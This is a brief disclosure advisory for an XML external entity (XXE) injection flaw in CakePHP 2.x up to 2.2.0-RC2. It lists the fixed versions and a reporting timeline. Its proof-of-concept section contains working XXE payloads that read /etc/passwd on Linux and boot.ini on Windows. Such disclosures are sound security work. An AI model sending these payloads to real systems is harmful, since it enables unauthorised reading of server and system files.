CakePHP 2.x-2.2.0-RC2 XXE Injection

[pawel.wylecial@xxxxxxxxx]

# Exploit title: CakePHP XXE injection
# Date: 01.07.2012
# Software Link: http://www.cakephp.org
# Vulnerable version: 2.x - 2.2.0-RC2
# Tested on: Windows and Linux
# Author: Pawel Wylecial
# http://h0wl.pl
1. Background
 
Short description from the project website: "CakePHP makes building web 
applications simpler, faster and require less code."
 
2. Vulnerability
 
CakePHP is vulnerable to XML eXternal Entity injection. The class responsible 
for building XML (it uses PHP SimpleXML) does allow local file inclusion.
 
3. Proof of Concept
 
Linux:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
  <xxe>&payload;</xxe>
</request>
 
Windows:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
  <xxe>&payload;</xxe>
</request>
 
4. Fix
 
Fix applied in version 2.2.1 and 2.1.5. See official security release:
http://bakery.cakephp.org/articles/markstory/2012/07/14/security_release_-_cakephp_2_1_5_2_2_1
 
5. Timeline
 
1.07.2012 - vulnerability reported
13.07.2012 - response from CakePHP
14.07.2012 - confirmed and fix release